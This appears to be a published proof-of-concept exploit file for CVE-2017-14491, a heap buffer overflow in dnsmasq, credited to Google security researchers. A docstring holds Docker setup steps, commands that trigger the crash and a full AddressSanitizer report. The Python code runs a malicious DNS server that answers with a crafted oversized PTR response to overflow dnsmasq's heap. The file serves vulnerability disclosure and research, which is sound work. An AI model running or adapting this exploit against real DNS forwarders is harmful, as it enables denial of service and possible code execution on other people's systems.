205 lines
No EOL
7.6 KiB
Python
Executable file
205 lines
No EOL
7.6 KiB
Python
Executable file
'''
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Sources:
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https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14491.py
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https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html
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1) Build the docker and open three terminals
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docker build -t dnsmasq .
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docker run --rm -t -i --name dnsmasq_test dnsmasq bash
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docker cp poc.py dnsmasq_test:/poc.py
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docker exec -it <container_id> bash
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docker exec -it <container_id> bash
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2) On one terminal let’s launch attacker controlled DNS server:
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# python poc.py 127.0.0.2 53
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Listening at 127.0.0.2:53
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3) On another terminal let’s launch dnsmasq forwarding queries to attacker controlled DNS:
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# /testing/dnsmasq/src/dnsmasq -p 53535 --no-daemon --log-queries -S 127.0.0.2 --no-hosts --no-resolv
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dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150
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dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
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dnsmasq: using nameserver 127.0.0.2#53
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dnsmasq: cleared cache
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4) Let’s fake a client making a request twice (or more) so we hit the dnsmasq cache:
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# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null
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# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null
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5) The crash might not be triggered on the first try due to the non-deterministic order of the dnsmasq cache. Restarting dnsmasq and retrying should be sufficient to trigger a crash.
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==1159==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62200001dd0b at pc 0x0000005105e7 bp 0x7fff6165b9b0 sp 0x7fff6165b9a8
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WRITE of size 1 at 0x62200001dd0b thread T0
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#0 0x5105e6 in add_resource_record /test/dnsmasq/src/rfc1035.c:1141:7
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#1 0x5127c8 in answer_request /test/dnsmasq/src/rfc1035.c:1428:11
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#2 0x534578 in receive_query /test/dnsmasq/src/forward.c:1439:11
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#3 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2
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#4 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7
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#5 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
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#6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9)
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0x62200001dd0b is located 0 bytes to the right of 5131-byte region [0x62200001c900,0x62200001dd0b)
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allocated by thread T0 here:
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#0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700)
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#1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15
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#2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20
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#3 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
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SUMMARY: AddressSanitizer: heap-buffer-overflow /test/dnsmasq/src/rfc1035.c:1141:7 in add_resource_record
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Shadow bytes around the buggy address:
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0x0c447fffbb50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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0x0c447fffbb60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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0x0c447fffbb70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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0x0c447fffbb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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0x0c447fffbb90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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=>0x0c447fffbba0: 00[03]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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0x0c447fffbbb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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0x0c447fffbbc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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0x0c447fffbbd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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0x0c447fffbbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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0x0c447fffbbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
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Shadow byte legend (one shadow byte represents 8 application bytes):
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Addressable: 00
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Partially addressable: 01 02 03 04 05 06 07
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Heap left redzone: fa
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Heap right redzone: fb
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Freed heap region: fd
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Stack left redzone: f1
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Stack mid redzone: f2
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Stack right redzone: f3
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Stack partial redzone: f4
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Stack after return: f5
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Stack use after scope: f8
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Global redzone: f9
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Global init order: f6
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Poisoned by user: f7
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Container overflow: fc
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Array cookie: ac
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Intra object redzone: bb
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ASan internal: fe
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Left alloca redzone: ca
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Right alloca redzone: cb
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==1159==ABORTING
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'''
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#!/usr/bin/python
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#
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# Copyright 2017 Google Inc
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#
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# Licensed under the Apache License, Version 2.0 (the "License");
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# you may not use this file except in compliance with the License.
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# You may obtain a copy of the License at
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#
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# http://www.apache.org/licenses/LICENSE-2.0
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#
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# Unless required by applicable law or agreed to in writing, software
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# distributed under the License is distributed on an "AS IS" BASIS,
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# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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# See the License for the specific language governing permissions and
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# limitations under the License.
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#
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# Authors:
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# Fermin J. Serna <fjserna@google.com>
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# Felix Wilhelm <fwilhelm@google.com>
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# Gabriel Campana <gbrl@google.com>
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# Kevin Hamacher <hamacher@google.com>
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# Gynvael Coldwind <gynvael@google.com>
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# Ron Bowes - Xoogler :/
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import socket
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import struct
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import sys
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def dw(x):
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return struct.pack('>H', x)
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def udp_handler(sock_udp):
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data, addr = sock_udp.recvfrom(1024)
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print '[UDP] Total Data len recv ' + str(len(data))
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id = struct.unpack('>H', data[0:2])[0]
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query = data[12:]
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data = dw(id) # id
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data += dw(0x85a0) # flags
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data += dw(1) # questions
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data += dw(0x52) # answers
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data += dw(0) # authoritative
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data += dw(0) # additional
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# Add the question back - we're just hardcoding it
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data += ('\x03125\x018\x018\x018\x07in-addr\x04arpa\x00' +
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'\x00\x0c' + # type = 'PTR'
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'\x00\x01') # cls = 'IN'
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# Add the first answer
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data += ('\xc0\x0c' + # ptr to the name
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'\x00\x0c' + # type = 'PTR'
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'\x00\x01' + # cls = 'IN'
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'\x00\x00\x00\x3d' + # ttl
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'\x04\x00' + # size of this resource record
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x3e' + 'Z'*62 +
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'\x0e' + 'Z'*14 +
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'\x00')
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# Add the next answer, which is written out in full
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data += ('\xc0\x0c' + # ptr to the name
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'\x00\x0c' + # type = 'PTR'
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'\x00\x01' + # cls = 'IN'
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'\x00\x00\x00\x3d' + # ttl
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'\x00\x26' + # size of this resource record
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'\x08DCBBEEEE\x04DDDD\x08CCCCCCCC\x04AAAA\x04BBBB\x03com\x00')
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for _ in range(79):
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data += ('\xc0\x0c' + # ptr to the name
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'\x00\x0c' + # type = 'PTR'
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'\x00\x01' + # cls = 'IN'
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'\x00\x00\x00\x3d' + # ttl
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'\x00\x02' + # size of the compressed resource record
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'\xc4\x40') # pointer to the second record's name
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data += ('\xc0\x0c' + # ptr to the name
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'\x00\x0c' + # type = 'PTR'
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'\x00\x01' + # cls = 'IN'
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'\x00\x00\x00\x3d' + # ttl
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'\x00\x11' + # size of this resource record
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'\x04EEEE\x09DAABBEEEE\xc4\x49')
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sock_udp.sendto(data, addr)
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if __name__ == '__main__':
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if len(sys.argv) != 3:
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print 'Usage: %s <ip> <port>\n' % sys.argv[0]
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sys.exit(0)
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ip = sys.argv[1]
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port = int(sys.argv[2])
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sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
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sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
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sock_udp.bind((ip, port))
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print 'Listening at %s:%d\n' % (ip, port)
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while True:
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udp_handler(sock_udp)
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sock_udp.close() |